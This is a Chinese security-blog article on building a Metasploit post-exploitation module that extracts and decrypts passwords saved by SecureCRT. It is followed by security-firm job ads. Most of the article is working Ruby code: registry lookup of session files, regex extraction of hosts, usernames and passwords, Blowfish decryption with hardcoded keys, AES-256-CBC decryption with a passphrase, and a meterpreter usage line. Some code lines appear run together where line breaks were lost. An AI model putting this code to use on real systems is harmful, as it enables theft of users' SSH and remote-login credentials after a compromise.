编写Metasploit模块获取SecureCRT明文密码
2022-8-22 00:1:42 Author: 白帽子(查看原文) 阅读量:26 收藏

声明

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测以及文章作者不为此承担任何责任。

雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。

No.1

前言

最后的功能是支持7.3.3版本之前和之后的两种解密算法,并且支持Passphrase解密(前提是你要知道用户设置的Passphrase),这次主要学习了一个河豚解密算法的编写。旧版本的加解密算法正是使用了河豚算法,这个算法比较容易恢复明文密码,所以新版本添加了Passphrase的SHA256数据摘要作为AES-256-CBC算法的Key,增加了解密难度,和Xshell的主密码一样。

No.2

配置文件

安装完SecureCRT后,设置主密码,创建一个新的连接,点开属性设置保存密码,就会在当前用户的%AppData%\Roaming\VanDyke\Config\Sessions下创建一个以连接名称为文件名的会话配置文件,为了保险起见,我还是通过读取注册表'HKEY_CURRENT_USER\\Software\\VanDyke\\SecureCRT'获取session配置文件的保存目录,有价值的信息:用户名,登录密码。有时候还会有脚本登录密码,主机地址和端口等等。

因为配置文件不是一个可序列化的文件,所以无法转化为Ruby对象,这里就选择使用则正表达式去匹配关键信息

protocol = Regexp.compile('S:"Protocol Name"=([^\r\n]*)').match(file) ? Regexp.last_match(1) : nilhostname = Regexp.compile('S:"Hostname"=([^\r\n]*)').match(file) ? Regexp.last_match(1) : nilpassword = Regexp.compile('S:"Password"=u([0-9a-f]+)').match(file) ? securecrt_crypto(Regexp.last_match(1)) : nilpasswordv2 = Regexp.compile('S:"Password V2"=02:([0-9a-f]+)').match(file) ? securecrt_crypto_v2(Regexp.last_match(1)) : nilport = Regexp.compile("D:\"\\\[#{protocol}\\\] Port\"=([0-9a-f]{8})").match(file) ? Regexp.last_match(1).to_i(16).to_s : nilport = Regexp.compile('D:"Port"=([0-9a-f]{8})').match(file) ? Regexp.last_match(1).to_i(16).to_s : nil if !portusername = Regexp.compile('S:"Username"=([^\r\n]*)').match(file) ? Regexp.last_match(1) : nil

经过上面的正则就可以匹配到两个版本的关键信息,并且通过对应的解密算法解密,最终入库并呈现给攻击者。

No.3

算法实现

现有的解密程序是Python语言编写的,各个语言之间的加解密和编码可能不太一样,转为Ruby语言开发还是遇到了一些有趣的地方。

首先Python语言可以在字符串的前面添加指定字母表示不同的编码格式,例如:

self.IV = b'\x00' * Blowfish.block_sizeself.Key1 = b'\x24\xA6\x3D\xDE\x5B\xD3\xB3\x82\x9C\x7E\x06\xF4\x08\x16\xAA\x07'self.Key2 = b'\x5F\xB0\x45\xA2\x94\x17\xD9\x16\xC6\xC6\xA2\xFF\x06\x41\x82\xB7'

在Ruby中,用双引号括起来的就是原始的数据,不需要添加修饰,一定要有双引号才会转义,单引号括着什么就是什么,并不是hex数据了。

key1 = "\x24\xA6\x3D\xDE\x5B\xD3\xB3\x82\x9C\x7E\x06\xF4\x08\x16\xAA\x07"key2 = "\x5F\xB0\x45\xA2\x94\x17\xD9\x16\xC6\xC6\xA2\xFF\x06\x41\x82\xB7"

因为双引号和单引号括的根本就不是同一个东西。

irb(main):001:0> "\x24\xA6\x3D\xDE\x5B\xD3\xB3\x82\x9C\x7E\x06\xF4\x08\x16\xAA\x07".unpack('H*')=> ["24a63dde5bd3b3829c7e06f40816aa07"]irb(main):002:0> '\x24\xA6\x3D\xDE\x5B\xD3\xB3\x82\x9C\x7E\x06\xF4\x08\x16\xAA\x07'.unpack('H*')=> ["5c7832345c7841365c7833445c7844455c7835425c7844335c7842335c7838325c7839435c7837455c7830365c7846345c7830385c7831365c7841415c783037"]irb(main):003:0> 

Python中的bytes.fromhex(Ciphertext)方法实现的是将ciphertext的hex转换为bytes类型,Ruby实现的方法为:[ciphertext].pack('H*')

旧版本解密

河豚解密函数,非常幸运的是OpenSSL库中自带了这个算法,在使用中注意实例化的模式是bf-cbc,CBC模式。

def blowfish_decrypt(secret_key, text)    cipher = OpenSSL::Cipher.new('bf-cbc').decrypt    cipher.padding = 0    cipher.key_len = secret_key.length    cipher.key     = secret_key    cipher.iv= "\x00" * 8    cipher.update(text) + cipher.finalend

按照Python语言中的解密流程,转为Ruby语言的代码如下,要注意的是:Ruby与Python的切片的第二个参数的含义是不一样的,Ruby可以使用.step(2)设置循环的步长为2,剩下的都是编码问题了。

def securecrt_crypto(ciphertext)      key1 = "\x24\xA6\x3D\xDE\x5B\xD3\xB3\x82\x9C\x7E\x06\xF4\x08\x16\xAA\x07"    key2 = "\x5F\xB0\x45\xA2\x94\x17\xD9\x16\xC6\xC6\xA2\xFF\x06\x41\x82\xB7"    ciphered_bytes = [ciphertext].pack('H*')    cipher_tmp = blowfish_decrypt(key1,ciphered_bytes)[4..-5]    padded_plain_bytes = blowfish_decrypt(key2,cipher_tmp)    i = 0    (0..padded_plain_bytes.length).step(2) {|i|        if (padded_plain_bytes[i] == "\x00" && padded_plain_bytes[i + 1] == "\x00")            return padded_plain_bytes[0..i-1].force_encoding("UTF-16LE").encode('UTF-8')        end        }end

新版本解密

bytes类型转int,按照小端顺序的Python实现代码:int.from_bytes(padded_plain_bytes[0:4], 'little'),转为Ruby实现为:padded_plain_bytes[0,4].unpack1('l')

def securecrt_crypto_v2(ciphertext)    iv =("\x00" * 16)    config_passphrase =  datastore['Passphrase'] || nil    key = OpenSSL::Digest::SHA256.new(config_passphrase).digest    aes = OpenSSL::Cipher.new('AES-256-CBC')    aes.key = key    aes.padding = 0    aes.decrypt    aes.iv = iv    padded_plain_bytes = aes.update([ciphertext].pack('H*'))    plain_bytes_length= padded_plain_bytes[0,4].unpack1('l') # bytes to int little-endian format.    plain_bytes = padded_plain_bytes[4,plain_bytes_length]    plain_bytes_digest = padded_plain_bytes[4 + plain_bytes_length,32]    if(OpenSSL::Digest::SHA256.new(plain_bytes).digest == plain_bytes_digest) # verity        return plain_bytes.force_encoding('UTF-8')    end    print_error("Maybe the user has set the passphrase, please try to provide the [Passphrase] to decrypt again.")    return nilend

No.4

使用演示

首先获得一个meterpreter会话,执行run post/windows/gather/credentials/securecrt PASSPHRASE=123456,后面的PASSPHRASE参数为主密码。

No.5

总结

如果已知加解密的算法,或者有现成的分析文章,在编写解密代码时就比较容易,编写解密模块主要是要对Ruby的pack和unpack的灵活运用,还有对配置文件的解析,像这个不是规范的INI配置文件,无法将文本序列化成可用对象,还需要使用到正则表达式提取文本信息。

参考

https://github.com/HyperSine/how-does-SecureCRT-encrypt-password/blob/master/doc/how-does-SecureCRT-encrypt-password.md

https://github.com/rapid7/metasploit-framework/pull/14118

招聘启事

安恒雷神众测SRC运营(实习生)
————————
【职责描述】
1.  负责SRC的微博、微信公众号等线上新媒体的运营工作,保持用户活跃度,提高站点访问量;
2.  负责白帽子提交漏洞的漏洞审核、Rank评级、漏洞修复处理等相关沟通工作,促进审核人员与白帽子之间友好协作沟通;
3.  参与策划、组织和落实针对白帽子的线下活动,如沙龙、发布会、技术交流论坛等;
4.  积极参与雷神众测的品牌推广工作,协助技术人员输出优质的技术文章;
5.  积极参与公司媒体、行业内相关媒体及其他市场资源的工作沟通工作。

【任职要求】 
 1.  责任心强,性格活泼,具备良好的人际交往能力;
 2.  对网络安全感兴趣,对行业有基本了解;
 3.  良好的文案写作能力和活动组织协调能力。

简历投递至 [email protected]

设计师(实习生)

————————

【职位描述】
负责设计公司日常宣传图片、软文等与设计相关工作,负责产品品牌设计。

【职位要求】
1、从事平面设计相关工作1年以上,熟悉印刷工艺;具有敏锐的观察力及审美能力,及优异的创意设计能力;有 VI 设计、广告设计、画册设计等专长;
2、有良好的美术功底,审美能力和创意,色彩感强;精通photoshop/illustrator/coreldrew/等设计制作软件;
3、有品牌传播、产品设计或新媒体视觉工作经历;

【关于岗位的其他信息】
企业名称:杭州安恒信息技术股份有限公司
办公地点:杭州市滨江区安恒大厦19楼
学历要求:本科及以上
工作年限:1年及以上,条件优秀者可放宽

简历投递至 [email protected]

安全招聘
————————

公司:安恒信息
岗位:Web安全 安全研究员
部门:战略支援部
薪资:13-30K
工作年限:1年+
工作地点:杭州(总部)、广州、成都、上海、北京

工作环境:一座大厦,健身场所,医师,帅哥,美女,高级食堂…

【岗位职责】
1.定期面向部门、全公司技术分享;
2.前沿攻防技术研究、跟踪国内外安全领域的安全动态、漏洞披露并落地沉淀;
3.负责完成部门渗透测试、红蓝对抗业务;
4.负责自动化平台建设
5.负责针对常见WAF产品规则进行测试并落地bypass方案

【岗位要求】
1.至少1年安全领域工作经验;
2.熟悉HTTP协议相关技术
3.拥有大型产品、CMS、厂商漏洞挖掘案例;
4.熟练掌握php、java、asp.net代码审计基础(一种或多种)
5.精通Web Fuzz模糊测试漏洞挖掘技术
6.精通OWASP TOP 10安全漏洞原理并熟悉漏洞利用方法
7.有过独立分析漏洞的经验,熟悉各种Web调试技巧
8.熟悉常见编程语言中的至少一种(Asp.net、Python、php、java)

【加分项】
1.具备良好的英语文档阅读能力;
2.曾参加过技术沙龙担任嘉宾进行技术分享;
3.具有CISSP、CISA、CSSLP、ISO27001、ITIL、PMP、COBIT、Security+、CISP、OSCP等安全相关资质者;
4.具有大型SRC漏洞提交经验、获得年度表彰、大型CTF夺得名次者;
5.开发过安全相关的开源项目;
6.具备良好的人际沟通、协调能力、分析和解决问题的能力者优先;
7.个人技术博客;
8.在优质社区投稿过文章;

岗位:安全红队武器自动化工程师
薪资:13-30K
工作年限:2年+
工作地点:杭州(总部)

【岗位职责】
1.负责红蓝对抗中的武器化落地与研究;
2.平台化建设;
3.安全研究落地。

【岗位要求】
1.熟练使用Python、java、c/c++等至少一门语言作为主要开发语言;
2.熟练使用Django、flask 等常用web开发框架、以及熟练使用mysql、mongoDB、redis等数据存储方案;
3:熟悉域安全以及内网横向渗透、常见web等漏洞原理;
4.对安全技术有浓厚的兴趣及热情,有主观研究和学习的动力;
5.具备正向价值观、良好的团队协作能力和较强的问题解决能力,善于沟通、乐于分享。

【加分项】
1.有高并发tcp服务、分布式等相关经验者优先;
2.在github上有开源安全产品优先;
3:有过安全开发经验、独自分析过相关开源安全工具、以及参与开发过相关后渗透框架等优先;
4.在freebuf、安全客、先知等安全平台分享过相关技术文章优先;
5.具备良好的英语文档阅读能力。

简历投递至 [email protected]

岗位:红队武器化Golang开发工程师
薪资:13-30K
工作年限:2年+
工作地点:杭州(总部)

【岗位职责】
1.负责红蓝对抗中的武器化落地与研究;
2.平台化建设;
3.安全研究落地。

【岗位要求】
1.掌握C/C++/Java/Go/Python/JavaScript等至少一门语言作为主要开发语言;
2.熟练使用Gin、Beego、Echo等常用web开发框架、熟悉MySQL、Redis、MongoDB等主流数据库结构的设计,有独立部署调优经验;
3.了解docker,能进行简单的项目部署;
3.熟悉常见web漏洞原理,并能写出对应的利用工具;
4.熟悉TCP/IP协议的基本运作原理;
5.对安全技术与开发技术有浓厚的兴趣及热情,有主观研究和学习的动力,具备正向价值观、良好的团队协作能力和较强的问题解决能力,善于沟通、乐于分享。

【加分项】
1.有高并发tcp服务、分布式、消息队列等相关经验者优先;
2.在github上有开源安全产品优先;
3:有过安全开发经验、独自分析过相关开源安全工具、以及参与开发过相关后渗透框架等优先;
4.在freebuf、安全客、先知等安全平台分享过相关技术文章优先;
5.具备良好的英语文档阅读能力。

简历投递至 [email protected]

专注渗透测试技术

全球最新网络攻击技术

END


文章来源: http://mp.weixin.qq.com/s?__biz=MzAwMDQwNTE5MA==&mid=2650246304&idx=1&sn=1df1a562edea92450bcc541084c36c68&chksm=82ea5709b59dde1f56f6308e1b6a73c42d76302c032afe941c6e196e4ab0cb42ee9aa1e8a26c#rd
如有侵权请联系:admin#unsafe.sh